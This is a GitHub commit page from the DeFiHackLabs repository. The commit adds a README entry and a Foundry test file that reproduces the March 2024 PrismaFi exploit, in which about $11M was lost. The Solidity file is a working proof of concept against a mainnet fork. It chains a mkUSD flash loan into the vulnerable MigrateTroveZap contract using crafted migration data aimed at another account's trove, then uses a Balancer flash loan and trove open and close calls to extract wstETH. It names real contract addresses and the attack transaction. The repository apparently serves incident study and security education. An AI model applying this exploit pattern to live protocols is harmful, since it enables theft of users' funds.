Skip to content

Commit

Permalink
Merge pull request SunWeb3Sec#600 from 0xsha/main
Browse files Browse the repository at this point in the history
Added same day PrismaFi PoC
  • Loading branch information
SunWeb3Sec authored Mar 29, 2024
2 parents 807a376 + 527195c commit 5cb487f
Show file tree
Hide file tree
Showing 2 changed files with 230 additions and 2 deletions.
21 changes: 19 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

**Reproduce DeFi hack incidents using Foundry.**

377 incidents included.
378 incidents included.

Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)

Expand Down Expand Up @@ -34,6 +34,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
- Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) )

## List of Past DeFi Incidents
[20240329 PrismaFi](#20240329-prismaFi---insufficient-validation)

[20240309 Juice](#20240309-juice---business-logic-flaw)

[20240325 ZongZi](#20240325-zongzi---price-manipulation)
Expand Down Expand Up @@ -824,8 +826,23 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/



### 20240329 PrismaFi - Insufficient Validation

### Lost: $~11M


```sh
forge test --contracts ./src/test/Prisma_exp.sol -vvv
```
#### Contract
[Prisma_exp.sol](src/test/Prisma_exp.sol)
### Link reference

https://twitter.com/EXVULSEC/status/1773371049951797485

---

### 20240309 Juice -
### 20240309 Juice - Business Logic Flaw

### Lost: ~54 ETH

Expand Down
211 changes: 211 additions & 0 deletions src/test/Prisma_exp.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,211 @@
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import {Test, console2} from "forge-std/Test.sol";

// @KeyInfo - Total Lost: ~$11M
// Attacker: 0x7e39e3b3ff7adef2613d5cc49558eab74b9a4202
// Attack Contract: 0xd996073019c74b2fb94ead236e32032405bc027c
// Vulnerable Contract: 0xcc7218100da61441905e0c327749972e3cbee9ee
// Attack Tx: https://etherscan.io/tx/0x00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7

// @Analyses
// https://twitter.com/EXVULSEC/status/1773371049951797485
// https://twitter.com/PrismaFi/status/1773371030129524957

/////////////////////////////////////// Interfaces ///////////////////////////////////////

interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);

function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);

function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}

interface IMKUSDLoan {
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}

interface IERC3156FlashBorrower {
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}

interface IBorrowerOperations {
function setDelegateApproval(address _delegate, bool _isApproved) external;

function openTrove(
address troveManager,
address account,
uint256 _maxFeePercentage,
uint256 _collateralAmount,
uint256 _debtAmount,
address _upperHint,
address _lowerHint
) external;

function closeTrove(address troveManager, address account) external;
}

interface IPriceFeed {
function fetchPrice(address _token) external returns (uint256);
}

interface IBalancerVault {
function flashLoan(
address recipient,
address[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
}

contract PrismaExploit is Test {
IBalancerVault public vault;
IPriceFeed public priceFeed;

address public immutable wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
address public immutable mkUSD = 0x4591DBfF62656E7859Afe5e45f6f47D3669fBB28;
address public immutable MigrateTroveZap = 0xcC7218100da61441905e0c327749972e3CBee9EE;
address public immutable BorrowerOperations = 0x72c590349535AD52e6953744cb2A36B409542719;
address public immutable TroveManager = 0x1CC79f3F47BfC060b6F761FcD1afC6D399a968B6;
address public immutable upperHint = 0xE87C6f39881D5bF51Cf46d3Dc7E1c1731C2f790A;
address public immutable lowerHint = 0x89Ee26FCDFF6B109F81ABC6876600eC427F7907F;

bytes32 private constant attackTx = hex"00c503b595946bccaea3d58025b5f9b3726177bbdc9674e634244135282116c7";

function setUp() public {
// set up the fork
vm.createSelectFork("https://rpc.ankr.com/eth", attackTx);

// chainlink price feed and balancer vault
priceFeed = IPriceFeed(0xC105CeAcAeD23cad3E9607666FEF0b773BC86aac);
vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
}

/////////////////////////////////////// Interfaces ///////////////////////////////////////

function test_exploit() public {
uint256 price = priceFeed.fetchPrice(wstETH);
console2.log("Price Feed Price: ", price);

// start with ~1800 mkUSD
deal(address(mkUSD), address(this), 1_800_000_022_022_732_637);

console2.log("Attacker start with ~1800 mkUSD: ", IERC20(mkUSD).balanceOf(address(this)));
console2.log("start with wstETH balance before attack : ", IERC20(wstETH).balanceOf(address(this)));

// get mkUSD loan

// address account,
// address troveManagerFrom,
// address troveManagerTo,
// uint256 maxFeePercentage,
// uint256 coll,
// address upperHint,
// address lowerHint

// data
// bytes memory data = hex"00000000000000000000000056a201b872b50bbdee0021ed4d1bb36359d291ed0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000191bf9b8cefc50317e000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f";

uint256 amount = 1_442_100_643_475_620_087_665_721;

address account = 0x56A201b872B50bBdEe0021ed4D1bb36359D291ED;
address troveManagerFrom = address(TroveManager);
address troveManagerTo = address(TroveManager);
uint256 maxFeePercentage = 5_000_000_325_833_471;
uint256 coll = 463_184_447_350_099_685_758;

bytes memory data = abi.encode(
account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
);

IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);

address[] memory tokens = new address[](1);
tokens[0] = address(wstETH);

uint256[] memory amounts = new uint256[](1);
amounts[0] = 1_000_000_000_000_000_000;

uint256[] memory feeAmounts = new uint256[](1);
feeAmounts[0] = 0;

// get balancer wstETH loan
vault.flashLoan(address(this), tokens, amounts, abi.encode(""));
}

function receiveFlashLoan(
IERC20[] memory, /* tokens */
uint256[] memory, /* amounts */
uint256[] memory, /* feeAmounts */
bytes memory /* userData */
) external {
// approve borowOperations to spend wstETH with max amount
IERC20(wstETH).approve(address(BorrowerOperations), type(uint256).max);

// set delegate approval
IBorrowerOperations(BorrowerOperations).setDelegateApproval(address(MigrateTroveZap), true);

// // open trove
IBorrowerOperations(BorrowerOperations).openTrove(
address(TroveManager),
address(this),
5_000_000_325_833_471,
1_000_000_000_000_000_000,
2_000_000_000_000_000_000_000,
address(upperHint),
address(lowerHint)
);

// // another mkUSD loan
// // // data
// bytes memory data = hex"000000000000000000000000d996073019c74b2fb94ead236e32032405bc027c0000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000001cc79f3f47bfc060b6f761fcd1afc6d399a968b60000000000000000000000000000000000000000000000000011c3794b4c52ff0000000000000000000000000000000000000000000000458a6330674daf1a93000000000000000000000000e87c6f39881d5bf51cf46d3dc7e1c1731c2f790a00000000000000000000000089ee26fcdff6b109f81abc6876600ec427f7907f";

uint256 amount = 2_000_000_000_000_000_000_000;

address account = address(this);
address troveManagerFrom = address(TroveManager);
address troveManagerTo = address(TroveManager);
uint256 maxFeePercentage = 5_000_000_325_833_471;
uint256 coll = 1_282_797_208_306_130_557_587;

bytes memory data = abi.encode(
account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
);

IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);

// cuurent contract mkUSD balance
// console2.log("mkUSD balance before closing the trove: ", IERC20(mkUSD).balanceOf(address(this)));

// close trove
IBorrowerOperations(BorrowerOperations).closeTrove(address(TroveManager), address(this));

uint256 returnAmount = 1_000_000_000_000_000_000;
// transfer the wstETH loan back to the vault
IERC20(wstETH).transfer(address(vault), returnAmount);

// current contract wstETH balance
console2.log("wstETH balance ~1281.79 ETH after attack: ", IERC20(wstETH).balanceOf(address(this)));
}
}

0 comments on commit 5cb487f

Please sign in to comment.